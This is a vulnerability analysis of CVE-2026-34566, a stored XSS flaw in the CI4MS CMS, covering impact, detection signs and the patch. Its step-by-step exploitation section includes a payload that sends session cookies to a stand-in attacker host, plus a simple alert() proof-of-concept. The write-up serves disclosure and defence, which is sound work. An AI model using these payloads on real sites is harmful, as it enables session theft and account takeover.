CVE-2026-34566: 
PHP vulnerability analysis and mitigation

CVE-2026-34566 is a stored DOM-based cross-site scripting (XSS) vulnerability in CI4MS, a CodeIgniter 4-based CMS skeleton with RBAC authorization and theme support. The flaw exists in the Page Management functionality, where multiple input fields fail to sanitize user-controlled input before storing and rendering it server-side. It affects all CI4MS versions up to and including 0.28.6.0, and was disclosed on March 31, 2026, with a patch released in version 0.31.0.0. The vulnerability carries a CVSS v3.1 base score of 9.1 (Critical) (Github Advisory, GitHub Security Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the application uses unsafe DOM manipulation methods such as .html() or innerHTML without applying HTML entity encoding to user-supplied data. Affected input fields include page Title, URL, Content, Cover Image URL, Image Width/Height, SEO Description, and SEO Keywords — all of which are stored server-side without sanitization and later rendered in both the administrative page list (/backend/pages/create) and public-facing page views. An attacker with low-privilege access (any authenticated user with page creation or editing permissions) can inject a persistent JavaScript payload that executes automatically in the browsers of all subsequent viewers, including administrators. A proof-of-concept payload (<img src=x onerror=alert(document.domain)>) and a video PoC are publicly documented in the advisory (Github Advisory).

Successful exploitation enables persistent execution of arbitrary JavaScript in the browsers of all users who view the affected pages, including unauthenticated public visitors, authenticated users, and administrators. The most severe consequence is full administrator account takeover via session cookie theft, enabling privilege escalation across all roles and complete application compromise. Because the payload persists server-side and executes for every viewer without further attacker interaction, the blast radius extends to the entire user base of the affected CI4MS instance (Github Advisory, GitHub Security Advisory).

A public proof-of-concept exploit with step-by-step reproduction instructions and a video demonstration is available in the GitHub Security Advisory (GitHub Security Advisory). Exploitation requires only low-level authenticated access (any role with page creation/editing permissions) and no user interaction from the attacker after payload injection. The EPSS score is approximately 0.046–0.058%, indicating a low but non-zero probability of exploitation in the wild within 30 days. There is currently no evidence of active in-the-wild exploitation, no known threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog (Github Advisory).

1. Reconnaissance: Identify a CI4MS instance running version 0.28.6.0 or earlier. Confirm the target is accessible and that the attacker has or can obtain a low-privilege account with page creation or editing permissions.
2. Authenticate: Log in to the CI4MS backend with any valid user account that has access to the Page Management module.
3. Navigate to the vulnerable endpoint: Go to Page Management → Add Page (endpoint: /backend/pages/create) or open an existing page for editing.
4. Inject the XSS payload: Insert a malicious JavaScript payload into one or more vulnerable fields (e.g., Title, Content, SEO Description). Example payload: <img src=x onerror=alert(document.domain)>. For account takeover, use a payload that exfiltrates session cookies: <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">.
5. Save/publish the page: Submit the form to store the payload server-side.
6. Payload execution: The stored payload executes automatically in the browser of any user who views the administrative page list or the public-facing page — including administrators — without any further attacker interaction.
7. Account takeover: Capture the exfiltrated session cookie from the attacker-controlled server and use it to hijack the victim's session, achieving full account takeover and potential privilege escalation (Github Advisory, GitHub Security Advisory).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains (e.g., attacker-controlled servers) originating from page views; unusual GET/POST requests containing encoded JavaScript or cookie data in query parameters.
• Logs: Web server access logs showing requests to /backend/pages/create or page editing endpoints with unusually long or encoded field values; repeated access to page management views by accounts not typically active in that module.
• File System / Database: Page records in the database containing HTML tags or JavaScript snippets (e.g., <script>, <img src=x onerror=, onerror=, javascript:) in fields such as Title, Content, SEO Description, or SEO Keywords.
• Browser/Session: Unexpected session invalidation or account activity from unfamiliar IP addresses following administrator visits to the page management interface, potentially indicating session hijacking (Github Advisory).

The vendor has released a patch in CI4MS version 0.31.0.0, which implements global input validation, enhanced CSRF token refreshing, and XSS protection as part of a major security and framework update (CI4MS Release). All users should upgrade to version 0.31.0.0 or later immediately. As interim mitigations, administrators should apply HTML entity encoding to all user-controlled output, avoid unsafe DOM manipulation methods (innerHTML, .html()), implement a strict Content Security Policy (CSP), and set HttpOnly, SameSite, and Secure attributes on session cookies to limit the impact of any XSS exploitation (Github Advisory).

The vulnerability was covered by The Hacker Wire and discussed on Mastodon and Bluesky shortly after disclosure, reflecting standard community awareness for a CMS-level XSS finding. Security aggregators including VulDB, INCIBE-CERT, ENISA EUVD, and GitLab Advisories indexed the advisory. No major vendor statements or notable researcher commentary beyond the original advisory reporters (bugmithlegend and peeefour) have been identified (Github Advisory).